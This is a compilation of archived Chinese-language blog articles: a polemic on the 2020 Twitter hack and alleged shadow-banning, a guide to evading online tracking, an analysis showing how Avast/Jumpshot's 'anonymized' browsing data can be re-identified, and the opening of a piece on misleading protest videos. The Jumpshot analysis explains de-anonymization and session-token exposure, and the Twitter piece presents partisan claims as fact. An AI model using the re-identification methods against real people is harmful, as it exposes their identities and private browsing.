当天，Twitter 管理层在自己的推文中回应称，已经意识到这次攻击，并正在努力 “修复”。然而，在经过数小时的努力重新控制自己的平台后，Twitter 被迫封杀了所有这些经过验证的账号，禁止其发布任何推文。

在 Twitter 随后的报告中，该公司承认，骇客获得了130个账户的控制权，并利用 “你的 Twitter 数据” 用户工具下载了其中至少8个账户的数据。

在周六的一篇公司博客中，Twitter 报告说，骇客 “操纵了少数员工，并利用他们的凭证进入 Twitter 的内部系统 …… 攻击者能够启动密码重置，登录账户并发送推文”。

该公司在周三的博客文章更新中报告说："我们相信，在**130**个目标账户中，多达**36**个账户的私信收件箱被攻击者访问，其中包括**1**名荷兰的民选官员。到目前为止，还没有迹象表明其他任何前任或现任当选官员的私信被访问。"

最后，Twitter 表示："我们很尴尬，很失望，更多的是我们很抱歉。我们知道，必须努力重新赢得您的信任，我们将支持一切将肇事者绳之以法的努力。" 事件发生后的第二天，Twitter 的股价下跌了4%，蒸发13亿美元。

纽约时报的报道包括了对参与骇客行动的四人的采访。报道说："采访显示，这次攻击并不是俄罗斯那样的单一国家或一个复杂的黑客集团所为。相反，它是由一群年轻人完成的，其中一人说他和母亲一起住，他们彼此认识是因为都迷恋一些不寻常的昵称，特别是单一的字母或数字，如 @y 或 @6。

虽然时报公布了 Twitter 后台管理仪表板的截图，但是，记者和编辑们的注意力完全集中在一个名叫 "Kirk" 的人身上 —— 据称此人将该信息传给了年轻的骇客们，以此来证明他已经攻破了 Twitter 的安全系统，并获得了后台工具的使用权 —— 这些记者编辑对图片中清晰可见的审查功能没有提出任何质疑。

通过绕避任何与审查功能有关的话题，时报的这一报道本质上只是推特的公关文稿。

The Verge 的报道指出，**Twitter** 远没有对其后台工具的黑名单和账户操纵功能做出任何解释，而是忙着 "从其平台上删除截图图片，并在某些情况下封锁了继续分享这些截图的用户。"

其他科技新闻网站也对这个后台管理面板提出了质疑，如 Reclaim the Net 在7月15日发表的一篇题为 "泄露的截图似乎显示 Twitter 内部工具可以将用户列入黑名单以将其从搜索和趋势中抹去" 的文章。

Reclaim the Net 记者 Tom Parker 在提到 "影子禁言" 这种做法时写道："在今年年初，Twitter 正式将影子禁言作为其服务条款的一部分。现在，来自 Motherboard 的新泄露的截图似乎显示了 Twitter 内部的用户管理工具，Twitter 工作人员可以利用该工具将用户账户从搜索和趋势中抹掉。"

【注：影子禁言是一种很可怕的做法，用户不会知道自己被禁言了，因为他们可以继续发布内容，但其发布只有关注者可见；新的潜在的

关注者无法通过搜索和趋势推荐看到被影子禁言的用户发布的内容，也就是说严重限制了被禁言账户的可见度。被禁言账户将因此大幅消减影响力和传播能力】

Parker 继续说："6月，流行文化讽刺新闻账户 Price of Reason 记录了 Twitter 如何采用影子禁言手段以阻止其一条热门传播的推文，该推文嘲笑 HBO Max 有争议的决定，阻止兔巴哥的猎人对手 Elmer Fudd 在《乐一通》的翻拍中使用枪。

【注：兔八哥 Bugs Bunny 是美国的一名拟人卡通人物，由华纳兄弟动画公司设计制作，被评为全世界最受观众欢迎的兔子。】

"账户所有者在他的推文开始热传之后，忽然发现参与度急剧放缓，并发现他已经被列入 **Twitter** 搜索黑名单，导致他的账户和推文都被从搜索结果中清除了。'就好像这条推文和我都不曾存在过一样'"，Price of Reason 说。

另一篇由 Scott Bicheno 于7月15日在 Telecoms.com 上发表的报道写道："我们不知道被列入黑名单究竟意味着什么，但是，这些审查工具的名字就已经强烈暗示了其可以阻止账户出现在搜索和趋势列表中，即使账户仍然可以发布内容，但只有很少人能看到。我们也不知道有任何账号被列入这些黑名单时可以收到通知的先例，这增加了 **Twitter** 试图通过 '影子禁言' 手段操纵其平台上对话的观点的分量。"

这些关于 Twitter 操纵用户账户活动的方法细节的披露 —— 无论是通过影子禁言还是通过完全删除账户 —— 都表明审查是这家社交媒体公司的最高级别活动和优先事项。

周二，Twitter 宣布，它已经删除了 7000 个据称是积极传播极右翼 QAnon 阴谋论的账户。QAnon "运动" 的基本观点是认为唐纳德·特朗普正在对统治世界的邪恶恋童癖精英阴谋集团发动秘密战争。

QAnon 还声称民主党是国际犯罪团伙的幕后黑手，"deep state" 人物正在对唐纳德·特朗普发动战争。该组织的内容在 Facebook、TikTok、Twitter 和 YouTube 上广泛传播。

在 Twitter Safety 的推文中，该公司表示："我们一直明确称我们将对有可能导致线下伤害的行为采取强有力的执法行动。根据这一方针，本周我们将对整个服务中所谓的 'QAnon' 活动采取进一步行动。"

根据路透社的报道，Twitter 将在本周推出账户暂停措施，预计将影响全球约**15**万个账户。它表示，最初的7000个账户被删除的原因是“违反了公司针对垃圾邮件、平台操纵和逃避禁令的规则”。

大规模封锁 **Twitter** 账户是社交媒体平台公然的审查行为。这些平台自己去决定什么是真实的信息，什么是公众可以看到或阅读到的信息，这本不该是巨头科技垄断企业 —— 谷歌、**Facebook**、**Twitter** 等 —— 的责任。

使用先进的软件工具来限制推文可见度或禁止某些团体的支持者，是企业和金融精英为全面控制在线信息和社交媒体信息及通信而做出的更大努力的一部分。在反抗斗争日益加剧的条件下，这些措施的最终目的是阻止和关闭革命思想在全世界人中的传播。〇

上图中的链接内容在这里看到：https://www.patreon.com/posts/42581802

Reports on Twitter hack confirm existence of admin tool used for social media censorship

原文

摆脱追踪者：您的行动应该是匿名的，否则没有可持续性 - iyouport

你应该了解的现实

【2020年3月20日存档】这里是一些基础知识。易于追踪监视是这个互联网的本性，如果您想使用这个互联网做点正经事，就必须能实现足够程度的匿名。

与现实中的调查不同，开源情报调查必须是匿名的，必须尽可能不留下数字足迹和面包屑，否则目标人在日后会反过来跟踪你，不仅阻止您的调查，甚至会对您的基本人身安全产生威胁。

掌握摆脱跟踪的安全防护技巧，是成为公民调查员的最基础的一步。

- 《不再吃瓜：把你的"围观"变成利器—公民调查指南（1）》

此前曾经介绍过很多安全防护知识，本文将介绍的是基础知识 —— 关于可用于追踪您的各种在线技术，并提出了在进行开源情报收集操作时应采取的针对性防护对策。

请注意：所有安全知识都不仅仅是给调查人员的。而是所有人的、任何不希望成为猎物的尊重自身人权利益的公民。

有很多不同的参与者对跟踪互联网用户感兴趣，每个参与者都有自己的动机。

最基本的，例如，广告商越来越多地监视人们的在线行为，以定制广告定位他们的目标，这种类型的跟踪被称为在线行为广告（OBA），就是它在一定程度上推动了社交网站的爆炸式增长，所有这些站点时刻都在努力跟踪您的一举一动 —— "免费注册，快来玩啊～"

如今最火的是所谓的网络分析服务（例如 剑桥分析公司）跟踪在线用户以收集可以用于操纵人们的信息；而政府的间谍机构则大规模跟踪在线用户，以分析全球数字信息并预测未来的政治、军事和经济变化。

- 在这里看到调查报告《心理操纵的秘密：”行为经济学”＋PR＝？》
- 这个报告特别重要！《他们是如何抓捕说真话的人？⚠灾难和教训》

最普遍存在多少，网警、警察和情报机构使用在线提供的公共信息来获取有关其目标的情报。以及，社交工程师和黑客实施跟踪监视，是为了制定最有针对性的攻击计划。

从公共资源获取的信息被称为开源情报（OSINT），它指的是所有可公开获得的信息。OSINT来源与其他形式的情报有所区别，因为它必须在不违反任何版权或隐私法的情况下合法地获得。

- 在这里看到情报分类和详细解读《“谷歌地图”是比詹姆斯邦德更棒的间谍》

⚠如果作为调查者，你的目标对象发现你正在搜索他/他们怎么办？如果他们可以了解你（搜索者）的来源、背后的组织、以及搜索者的位置或身份，怎么办？他们会对你做什么？

你必须警惕这点。因为在互联网上隐藏身份不是在现实中戴墨镜假发那么简单。

⚠在进行开源情报搜索过程中如果暴露了搜索者的身份，可能会在许多情况下带来严重的危险，甚至法律后果。

相同的问题也适用于商业领域，考虑一家寻求进入新市场的公司，如果在同一领域工作的其他竞争者发现了该公司的搜索调查行为，会发生什么？

保护操作的隐私安全性是开源情报调查成功的关键。

本文分为两个部分，首先探讨“在线跟踪”的概念，并介绍用于跟踪在线人员的不同技术方法，以提出相应的对策。

许多开源情报初级从业者认为，使用VPN服务足以隐藏其在线跟踪——这是完全错误的。

使用可靠的VPN只会隐藏您的IP地址，而对于跟踪您的任何跟踪器来说，您的其他数字足迹都是显而易见的。

完全的在线匿名性非常难以实现。要成为完全匿名的在线状态，您需

要使用一套工具和策略来隐藏任何可以揭示您的身份甚至是用于访问互联网的硬件和连接类型的踪迹，并且这需要一些认真的技术技能。

只有与外国间谍活动有关的那种等级的案件才需要这种匿名性，通常由非常了解如何隐瞒其搜集活动的情报机构进行。而不是公民调查者。

但是，出于进行常规开源情报收集活动的目的，您需要匿名化到适当的级别，以使目标无法发现您正在尝试查找有关他们的信息。

本文的第二部分将介绍各种在线跟踪技术、以及如何使用大量工具和策略来对付它们，并且将提出一种解决方案，允许在线的任何人使用虚拟设备将其浏览活动与本地网络和基础设施隔离开来。

什么是在线跟踪？

「图」

在线跟踪可以定义为追踪记录跨不同网站的互联网用户的互联网浏览历史记录、有时是在线行为的过程。

为了将浏览历史链接到目标用户，将使用标识符将每个在线用户区分为可以跟踪的个人。

该标识符类似于人的指纹，因为它可以在数百万个已连接的用户中区分出特定的用户设备。

下一节将演示在线跟踪在技术上如何工作。

在线跟踪技术

「图」

在线跟踪通常利用以下一种或多种方法：

1、IP地址跟踪

没有IP就无法联网，IP地址是唯一的标识符，用于在连接到互联网时标识任何具有联网功能的设备。

没有两个设备可以在同一IP网络上拥有相同的IP地址，这使得IP地址成为在线跟踪用户的首选。

连接到 Internet 时，您要么每次使用相同的IP地址（静态IP），要么每次使用不同的数字（称为动态IP）。

静态IP地址是您的互联网服务提供商（ISP）分配的地址，不会随时间变化；相反，每当您连接到互联网时，ISP都会分配一个动态IP地址。

每次重新启动计算设备或路由器时，它都使用一种被称为动态主机配置协议（DHCP）的东西为您分配新的IP地址。一些ISP可能会多次分配以前分配给您的相同IP地址，但这不是经验法则。

请注意，使用不同的技术（例如VPN和TOR网络之类的匿名网络）上线时，可以伪造（隐藏）IP地址。用户还可以使用NAT路由器，它使所有属于同一网络的设备都共享一个公共IP地址。

- 关于Tor 《当搬石头砸脚遇到“运动死亡”—— 洋葱头会让谁流泪？（一）》
- 《追求正义的人应该加强反侦技巧 —— 洋葱头会让谁流泪（二）》
- 《真的安全吗？那么他们是怎么抓人的？—— 洋葱头会让谁流泪（三）》
- 《请关上身后的门，除非你想把刀递给敌人—— 洋葱头会让谁流泪（四）》
- 《如何在你的网页浏览器中使用Tor网络？》
- 《使用 Tor 保护自己时千万不要做这九件事！》

由于这些原因，我们不能仅考虑一个IP地址就足以定位当今互联网上的单个在线用户。但是，它仍然是在线跟踪目标人的首选。

要了解如何选择VPN提供商，可以参见《安全手册》；要了解如何判断VPN的安全性，可以参见这里《如何验证您的 VPN 连接是否安全？》。

2、Cookie 追踪

Cookies 是跟踪在线用户的最常用技术，如今家喻户晓。

Cookie 是用户访问特定网站时创建的小型文本文件，其中包含的标准信息包括区分客户端设备的唯一ID、有效日期、和Cookie网站名称。

当再次返回同一网站时，cookie 用于判断客户端设备。网站使用 Cookie 的主要目的有两个：存储登录凭据、和跟踪用户的在线行为。

大多数人在谈论 Web cookie 时都意味着一个基本的 cookie 文件（也称为 HTTP cookie）。HTTP cookie 是一个简单的文本文件，用于跟踪用户对部署它的网站的访问。

关闭浏览器时，过期的 HTTP cookie 会自动删除。但是，到期日期可能是未来的很多年。就 cookie 的寿命而言，主要有两种类型：会话cookie和持久cookie。

会话Cookie存储在临时内存中，并且在用户关闭浏览器时将被擦除，此类Cookie没有到期日期，并且不存储有关用户客户端设备的任何信息。它通常用于维护电子商务网站中的购物车内容。

持久Cookie（例如 Flash 和 evercookie cookie）引起了严重的隐私问题。

Cookie 的内容中有一半是第一方的，属于您访问的网站，另一半是第三方的，属于合作伙伴，服务或与网站合作的广告商。

第三方 Cookie 用于（跨多个网站的）跟踪活动，并识别频繁访问和回访的访问者，以根据Cookie的历史记录量身定制内容或优化广告或改善用户体验。持久 cookie 的两种主要类型是 Flash 和 Evercookies。

与具有有效日期并存储在客户端硬盘驱动器上特定文件夹中的传统cookie文件相比，Flash Cookies 具有更高的持久性。仅删除网络浏览器的 **cookie** 文件夹不会删除此类型的 **cookie**。

Flash cookie 用于存储用户在多个网站上的浏览历史记录，可以用来重新实例化用户删除的 HTTP cookie。

要访问存储在计算机中的所有 Flash cookie（在Windows下），请转到“控制面板”➤“ Flash Player”，然后选择“阻止所有站点在此计算机上存储信息”选项（参见下图）。

还可以使用一个工具来显示系统中存在的 **Flash cookie** 列表并将其删除，**FlashCookiesView** 是为此目的创建的便携式工具。

Evercookies Cookie：根据开发人员 Samy Kamkar 的说法，evercookie 是基于 JavaScript 的 cookie，即使用户从其计算机中删除了 **HTTP** 和 **Flash cookie** 之后，它也可以存在。

它通过将数据存储在客户端浏览器/计算机上的多个位置（例如，

HTTP cookie，Flash cookie，HTML5本地存储，Web历史记录，Silverlight）来实现其持久性。

例如，如果这些位置之一被用户删除，evercookie 将检测到该位置并自行重新生成。幸运的是，现代的网络浏览器能够阻止或检测 evercookies。

3、ETag 追踪

ETag 是不使用 Cookie（HTTP和Flash）、JavaScript、HTML存储、或IP地址而跟踪用户的另一种方法。

ETag或实体标签是超文本传输协议（HTTP）机制的一部分，该机制提供Web缓存验证，并用于控制特定文件在客户端缓存的时间。

ETag帮助Web浏览器避免两次加载相同的Web资源，例如，当用户访问在后台播放音乐的网站时，它会根据用户的本地时间而改变。

如果ETag不同，则客户端浏览器将下载新版本的音频文件。

可以利用 **ETag** 以类似于持久**cookie**的方式跟踪用户，并且，即使服务器上的内容不变，跟踪服务器也可以不断将ETag发送到客户端浏览器。这样，跟踪服务器可以与客户端计算机保持无限期持久的会话。

要摆脱 ETag，必须清除浏览器缓存内容。

4、数字指纹追踪

浏览器指纹是有关用户系统和浏览器的一组技术信息，可以在线区分其机器。

此信息包括以下内容：浏览器类型、操作系统（OS）版本、安装的附件、用户代理、安装的字体、语言设置、时区、屏幕大小和颜色深度等。

即使禁用了 **cookie** 和 **JavaScript**，指纹也可以使跟踪器区分用户的机器。

浏览器指纹识别是无状态的，对用户和计算机都是透明的。

从数字指纹收集的信息看似通用，不足以在线识别数百万个已连接设备中的单个计算机；但是，如果将这些信息组合在一起，则可以绘制

有关每台用户计算机的全面而独特的图景，此后，如果将其与其他个人身份信息（**PII**）组合在一起，则可以将该信息追踪到真实身份。

这应该有效地允许不同的外部方在不使用传统跟踪技术（例如计算机IP地址和cookie）的情况下轻松地对目标人进行描述。

- 更多见《Opsec 操作安全：在反侦察的过程中您应该注意哪些陷阱？》

得出的结论是，仅使用浏览器中的少量技术信息就可以在线配置和跟踪大多数互联网用户。

设备指纹识别主要有两种类型：基于脚本的和基于画布的。

基于脚本的指纹 ——

脚本指纹通过将脚本（通常为 JavaScript）加载到用户的浏览器中而起作用。成功加载脚本后，它将执行以提取有关当前浏览器和系统配置的大量技术信息。

提取的信息包括用户代理、已安装的附件/扩展程序、已安装的字体、屏幕分辨率、时区、操作系统类型和版本、CPU和GPU类型、以及有关目标系统的许多其他详细信息。

然后根据脚本收集的信息进行哈希处理。该哈希值可以识别和跟踪您的设备，就像**IP**地址一样。

跟踪器使用 Flash、Silverlight 或 Java applet 代替 JavaScript 来执行指纹识别。他们都将返回相同的结果。

抵制此技术的主要方法是在浏览器中禁用 JavaScript。但是，这种方法不切实际，并且可能导致破坏大量网站（大多数Web设计框架现在都基于 JavaScript 来提供功能）。

禁用 **Java**（参见下图）不会导致诸如禁用 JavaScript 之类的问题。

画布指纹 ——

Canvas 是最初由Apple开发的 HTML5 元素；它用于使用 JavaScript API 在网页上绘制图形（线条、形状、文本、图像）和动画（例如游戏和横幅广告）。广告客户可以利用画布功能识别和追踪用户。

画布指纹追踪是一种跟踪用户在线活动的新方法。只需在用户的客户端浏览器上绘制不可见的图像即可。

该图像对于每个用户而言都是不同的，一旦绘制在客户端浏览器上，它将收集有关用户浏览器和计算机的不同技术信息。然后根据已收集的信息进行哈希处理。

该哈希值将在用户访问的所有网站上保持一致（哈希值是从画布数据生成的）；这将有效地记录用户的浏览历史记录。

尽管不能单独使用从画布指纹中收集的信息来识别用户，但是，可以将此指纹与其他来源结合使用，以完全地识别您。

浏览器指纹追踪的对策

「图」

当前，指纹识别被认为是用户在线冲浪时面临的最大风险。

为了了解如何才能阻止这种入侵以保护我们的隐私，首先来看看您当前的数字指纹正在向追踪者展示些什么内容。以下是免费提供此类服务的流行网站。# Panopticlick (

1.)

- DeviceInfo (

1.)

- Browserleaks (

1.)

- AmIUnique (

1.)
2. Privacy Badger—block invisible trackers (https://www.eff.org/privacybadger)

- Disconnect—Block invisible websites (https://addons.mozilla.org/en-US/firefox/addon/disconnect)
- uBlock Origin—another efficient blocker (https://

addons.mozilla.org/en-US/firefox/addon/ublock-origin)
- HTTPS Everywhere—encrypts your communications with many major websites, making your browsing more secure (https://www.eff.org/HTTPS-EVERYWHERE)
- CanvasBlocker—Alters some JS APIs to prevent fingerprinting (https://addons.mozilla.org/en-US/firefox/addon/canvasblocker)
- Cookie AutoDelete—Automatically delete cookies upon tab closes (https://addons.mozilla.org/en-US/firefox/addon/cookie-autodelete)
- Decentraleyes—Block Content Delivery Networks (

1.)

- uMatrix—A point-and-click matrix-based firewall, with many privacy-enhancing tools (https://addons.mozilla.org/en-US/firefox/addon/umatrix)
- User-Agent Switcher—switch between popular user-agent strings (https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher-revived)

1. 在栏目中看到更多具体介绍："关于 Facebook：这不只是一家公司"

- "关于苹果、微软和Twitter"

1. 使用可靠的VPN服务隐藏IP地址。

- 关闭浏览器后，删除（或拒绝）cookie和Web浏览器缓存。
- 防止数字指纹技术对计算机进行描述。

1. 在这里回顾用于开源调查的虚拟机配置教程《构建你的自定义OSINT机器（第一部分）》"第二部分"、"第三部分"、"第四部分"，"第五部分"

通过使用此技术，您的浏览器将看起来像大多数正在运行的浏览器，从而有效地隐藏了您的真实数字足迹。

当然，您仍然需要使用VPN来加密您的连接并隐藏您的真实IP地址。

尤其推荐匿名工具 **Whonix**，您可以在这里看到安装使用教程。〇

原文

数据匿名化的陷阱 - iyouport

你应该了解的现实监视资本主义的世界

【2020年9月8日存档】当数据收集者说 “数据是匿名的” 时，为什么没有人追问一句：“你是如何做到的？” 因为他们做不到。而一众媒体为什么要帮助放大这些虚假的狡辩之辞？为了让它能欺骗更多人吗？

年初出了一件大事。曾经被公认推荐的杀毒软件霸主品牌 Avast 被曝光过去一直在不通知用户的情况下收集用户的浏览历史记录，并通过其 Jumpshot 子公司将这些数据转化为利润 —— 卖给谷歌和微软。

在公众的强烈抗议和来自浏览器供应商的巨大压力之后，他们决定更改其做法，以便仅收集与防病毒相关的用户数据，并且必须明确选择这些数据。

在整个公关爆炸的过程中，Avast 一直在自辨称数据是 “去标识的和合并的”，所以 Jumpshot 的客户永远无法看到个人身份信息（PII）。

这是BS。

实际上，**Jumpshot** 出售的数据包含大量的用户身份标识，如名称、电子邮件地址、甚至家庭住址。部分原因是 Avast 无法或不愿按计划删除用户特定的数据。

这再次凸显了中心问题：匿名化浏览器历史记录数据本身就非常困难。如果您打算将其出售给广告客户，则尤其如此。理论上您可以使数据完全匿名，但是在此过程中您必须严重精简数据，其结果就是对广告客户完全失效。

总之，即便您是善意的，想要匿名化数据，你也很难做到。

“数据是匿名的” 这句话一直都是供应商收集数据的自辨口头禅，下一次您再听到这句话的时候请记得追问他们：“你丫怎么做到的”？因为

他们基本上无法做到。

本文希望能做到一个辩论模版，帮助您和您的社区组织在遭遇被强迫收集数据的情况下保护自己的的利益。

数据

「图」

我看到的数据是 Jumpshot 提供给潜在客户的一个样本：2019年一个星期的真实数据摘录。

其中每条记录都包括准确的时间戳（精确到毫秒）、几乎完整的用户标识、使用的平台（台式机或移动设备、以及哪种浏览器）、大概的地理位置（从用户的IP地址得出的国家、城市和邮政编码）、用户的性别和年龄段。

它所不包含的是“每个站点上的每次点击”。此数据示例不属于 “All Clicks Feed”，后者已经引发媒体的广泛关注。

取而代之的是 “ Limited Insights Pro Feed”，它应该仅涵盖用户的购物行为：他们查看了哪些产品，他们添加到购物车的商品是什么，以及是否完成了订单。

所有这些都限于购物网站，并按国家（德国、英国和美国）以及产品类别（例如 “鞋” 或 “男装”）进行分组。

听起来好像个人数据太多了？但是别忘了，这里还有一个 “referrer” 字段。这是为了表明用户是如何来到该购物网站的，例如通过 Google 搜索页或点击了其他网站上的广告。

鉴于 Avast 收集的详细信息如此之多，确定此引荐来源网站应该很容易 —— 但是 Avast 却以某种方式没能完成此任务。因此假定的引荐来源网址通常是该用户访问的完全不相关的随机网页，有时甚至不是网页，而是图像或JSON数据。

因此，如果提取这些引荐来源网址的列表（我这样做了），则会看到人们阅读的新闻、他们的**Web**邮件会话、与购物完全无关的搜索查询 **……** 当然还有色情内容。

您可以一窥哪些色情网站最受欢迎，人们在哪里观看甚至搜索。

对于每个用户，所谓的 “有限了解” 实际上只包含了他们整个浏览行为的一小部分。然而，在一周的时间里，这种暴露方式对某些用户来说是很严重的，并且即使没有所谓的 “All Clicks Feed”，监视者也能了解到很多信息。

所谓的匿名化怎么样

「图」

数据中已经包含了一些参数和地址。例如，您将看到类似以下的条目：

```
http://example.com/email/edit-details/
[PII_EMAIL_abcdef1234567890]
```

启发式方法就在这里起作用了，它将用占位符替换任何看起来像电子邮件地址的东西。其他启发式方法将产生占位符，例如 [PII_USER_abcdef1234567890] 和 [PII_NM_abcdef1234567890]—这些看起来更基本。在下面这样的条目中，这一点尤其明显：

```
https://www.ancestry.co.uk/name-origin?
surname=[PII_NM_abcdef1234567890]
```

显然，此处的 surname 只是一个搜索查询。鉴于搜索查询不会在其他地方进行审查，因此在此处对它们进行审查没有多大意义。但是这种启发式方法并不十分高明，无法检测参数是否指向用户。

此外，通用算法似乎也适用，该算法将产生类似 [PII_UNKWN_abcdef1234567890] 的占位符。

无法检查用户特定的参数

「图」

启发式方法会丢失一些数据也就不足为奇了。从专利中的描述来看，通用算法似乎是理智的，但是应该能够识别大多数用户特定的数据。

实际上，该算法似乎是错误实现的，仅检查了很少的相关参数，并且没有明显的系统。因此，您将看到没有应用任何审查的以下地址：

```
https://nolp.dhl.de/nextt-online-public/
```

```
set_identcodes.do?
zip=12345&amp;idc=9876543210987654321
```

德国居民可以立刻看出这是DHL包裹跟踪链接。 idc参数是包裹号，有时出现的zip参数是收件人的邮政编码。

请记住，DHL只需要您知道这两条信息即可访问“详细视图”，该信息将向您显示接收包裹的人的姓名。是的，现在我们有了一个真实的名字可以关联浏览历史记录了。

- 《浏览历史记录曝光你的内心全景图：开源调查演示》

而且即使zip参数不在跟踪链接中，也请记住，数据包含基于用户IP地址的猜测，实际上是一个相当准确的猜测。

需要更多示例吗？不少“引荐来源网址”与网站的身份验证过程有关。搜索诸如“ oauth”，“ openid”或“ token”之类的关键字会产生大量匹配，通常不会检查任何参数。

这里是最坏的情况：有权访问 Jumpshot 数据的人可能会劫持一个已通过身份验证的会话并假冒该用户，从而允许他们访问和修改用户的数据。

但是，即使在理想条件下，JWT令牌也存在问题。 JWT是一种认证方法，无需服务器端状态即可工作，所有相关信息都编码在令牌本身中。通过搜索“ .ey”关键字，可以轻松找到这些标记。有一些由 Facebook，AOL，Microsoft 和其他知名公司发行。反转 Base64 编码后，您会得到类似以下内容的信息：

```
{"instanceId":"abcd1234","uid":12345,"nonce":"dcba4321",
```

这里的大多数值因站点而异。但是，通常都会包含一些用户标识，可以是数字标识符（可以将其转换为网站上某处的用户名），有时还包括电子邮件或IP地址。

它还通常包含与用户会话相关的令牌，并可能允许劫持该令牌：会话标识符、随机数、有时甚至包括OAuth令牌。

最后但并非不重要的是：

```
https://mail.yandex.ru/u1234/?
uid=987654321&amp;login=myyandexname#inbox
```

这个地址也不值得 Avast 审查。我从未使用过 Yandex Mail，但我也能猜到该用户的电子邮件地址为 myyandexname@yandex.ru。

有很多看起来像这样的地址，但是大多数只包含数字用户标识符。我强烈怀疑某些 Yandex 服务或API允许将这些数字ID转换为用户名，从而推断用户的电子邮件地址。

启发式方法的缺点

「图」

现在试一下启发式方法移除电子邮件地址（最后一道防线）。这将可靠地删除所有URL中编码的电子邮件地址，因此您不会在数据中找到类似 me%40example.com 的内容。但是异常编码呢？启发式方法不灵活，因此不会被检测到。

首先以两次明显的URL编码案例开始：me%2540example.com。Avast 数据包含大量这样编码的电子邮件地址，例如：

```
https://m.facebook.com/login.php?next=https%3A%2F
%2Fm.facebook.com%2Fn%2F %3Fthread_fbid
%3D123456789%26source%3Demail%26cp%3Dme
%2540example.com
```

你注意到这里发生了什么吗？电子邮件地址不是 Facebook 的 login.php 参数，而是 next，这是成功登录后导航到的地址。无论出于何种原因，该地址恰好包含用户的电子邮件地址作为参数。因此，URL编码应用了两次。

另一种情况：

```
https://www.google.com/url?q=http://example.com/
confirm?email%3dme
%2540example.com&amp;source=gmail
```

那是什么？一个奇怪的 Google 查询吗？ 不是的，source = gmail 表明是有人在 Gmail 中单击的链接。

显然，Gmail会 将诸如 “查询” 之类的链接发送到搜索引擎，然后再将用户重定向到其目的地。并且目标地址在此处包含电子邮件地址，显示该链接是来自哪个电子邮件地址。新闻通讯的链接也经常包含用

户的电子邮件地址。

然后是这种意外情况：

https://mail.yahoo.com/d/search/name=John %2520Smith&emailAddresses=me%2540example.com

本文只提到了最明显的编码方法。某些网站出于某种原因使用Base64编码，并且这些网站也经常包含电子邮件地址。

这些用户住在哪里？

「图」

到目前为止，我们已经有了名字、电子邮件和IP地址。这当然很有趣，但是这些用户实际生活在哪里呢？

Jumpshot 数据为此仅提供一个大概的近似值。幸运的是（或对于用户而言不幸的是），Google Maps 是一种非常受欢迎的服务，因此它在该数据中非常常见。例如下面这样：

https://www.google.de/maps/ @52.518283,13.3735008,17z

那是一组非常精确的地理坐标，这可能是用户的家吗？可能是，但也可能是他们想要去的地方，或者只是他们感兴趣的区域。以下条目实际上更能说明问题：

https://www.google.de/maps/dir/Platz+der+Republik +1,+10557+Berlin/ Museum+für+Kommunikation, +Leipziger+Straße,+Berlin/ @52.5140286,13.3774848,16z

按照 Avast 的标准，在 Google Maps 上规划的路线不是个人 “可识别性信息” —— 可以有许多人在规划同一条路线。

但是，如果路线的起点是地址，而终点是博物馆、酒店或餐厅，则基本可以肯定该地址实际上是用户的家庭住址。

即使不清楚用户位于规划路线的哪个终点，Jumpshot 数据中的邮政编码也可以帮助您做出有根据的猜测。

然后，您在搜索引擎中输入“ Platz der Republik 1，Berlin”，在很多情况下，该地址会立即映射出一个人名 —— 因此，您以前的所谓 “匿名” 用户现在称为安吉格默克尔。

不是都合并了吗

「图」

2015年，Avast 当时的首席技术官 OndřejVlček 承诺：“这些合并结果是 Avast 提供给 Jumpshot 客户和最终用户的唯一内容。”

合并字面上意味着将来自多个用户的数据合并到一个记录中，这种方法会使有关单个用户的结论更加困难。听起来很隐私吗？不幸的是，Jumpshot 的行销已经使人们对这种说法产生了极大的怀疑。

我看到的数据根本没有合并，每条记录仅与一个用户相关联，并且有一个唯一的用户标识符来区分不同用户的记录。另外，我看到了 “All Clicks Feed” 的 市场营销材料，该数据也未合并。

违背承诺并不奇怪，因为合并的数据不值钱。Graham Cluley 曾经明确说过：“我们不要自欺欺人。广告客户无法对定位目标的数据不感兴趣。如果他们真的不认为这可以帮助他们确定潜在客户，那么数据将没有任何价值，他们也就不会买了。”

结论

「图」

本文仅从 Jumpshot 出售的数据中调查了一周的数据，就已经能够识别出大量的用户，有时还可以窥探到他们观看色情内容的习惯。

至少可以说，Avast 对数据进行匿名处理的方式远远不够。完全有权使用 “每个站点上的每次单击” 数据的公司很可能能够识别并随后跟踪大多数受影响的用户。识别用户的过程很容易实现自动化，如上所述的方式。

唯一剩下的问题是：为什么 Avast 如此强烈地否定出售任何个人身份数据？在决定关闭 Jumpshot 的几天前 Avast 的首席执行官 OndřejVlček 在博客文章中重复道：“我们希望向用户保证，我们绝不会将任何个人身份信息出售给第三方。”

现在您已经知道了这些都是胡说八道。对于任何仔细查看数据的人来说，问题应该是显而易见的。整个丑闻花了几个月的时间才得以解决。这是否意味着 Avast 在所有时间内一直重复此虚假的狡辩声明，将其提供给记者、并在社交媒体上进行传播，却没人愿意去验证它？

如果遵循这种思路，那么同一篇博客文章中的以下声明显然是一个大胆的谎言：“全球用户的安全和隐私是 Avast 的首要任务”。

在完成调查之后，我本人在见证人在场的情况下删除了所有原始和处理过的 Jumpshot 数据。考虑到这些数据的性质，这似乎是唯一明智的选择。〇

Insights from Avast/Jumpshot data: Pitfalls of data anonymization

原文

断章取义的视频和歪曲的描述如何挑起对安替法(Antifa)左翼活动家的仇恨 - iyouport

你应该了解的现实

【2021年4月14日存档】当您看到一个照片或视频的时候，先别忙着相信发布者的描述

2020年11月14日，美国总统特朗普的数千名支持者聚集在华盛顿特区，抗议乔·拜登在美国总统大选中取得胜利。记者在现场注意到，这次活动被打上了“百万MAGA游行”的烙印，大部分参与者都是相当主流的保守派特朗普支持者。但更多极端分子也在场。

此前曾出现质疑犹太人在大屠杀中被杀人数的白人民族主义者尼克·富恩特斯（Nick Fuentes）发表了一场参与度很高的演讲。白人至上主义帮派“美国卫队”的现任领袖、极端主义的 Vinlanders 社交俱乐部（VSC）组织的创始人布里恩·詹姆斯（Brien James）也被拍到身穿“骄傲男孩”的服饰，与该组织一起游行。

虽然白天的集会中发生了几起小规模的冲突，但日落之后，暴力事件的数量明显升级。有大量证据表明，亲特朗普的示威者实施了暴力。其中一人袭击了自由记者塔利亚·简（Talia Jane），而一名“骄傲男孩”成员被拍到殴打一名法国摄影师的脸。有一次，一大群“骄傲男孩”成员和特朗普的支持者集体向反示威者发起进攻。要知道，也有证据显示左翼示威者的攻击行为，后来特朗普也着重强调了这一点。但是，特朗普对事件的构思抹杀了自己支持者的暴力行为，并描绘了一个误导性的、片面的说法。

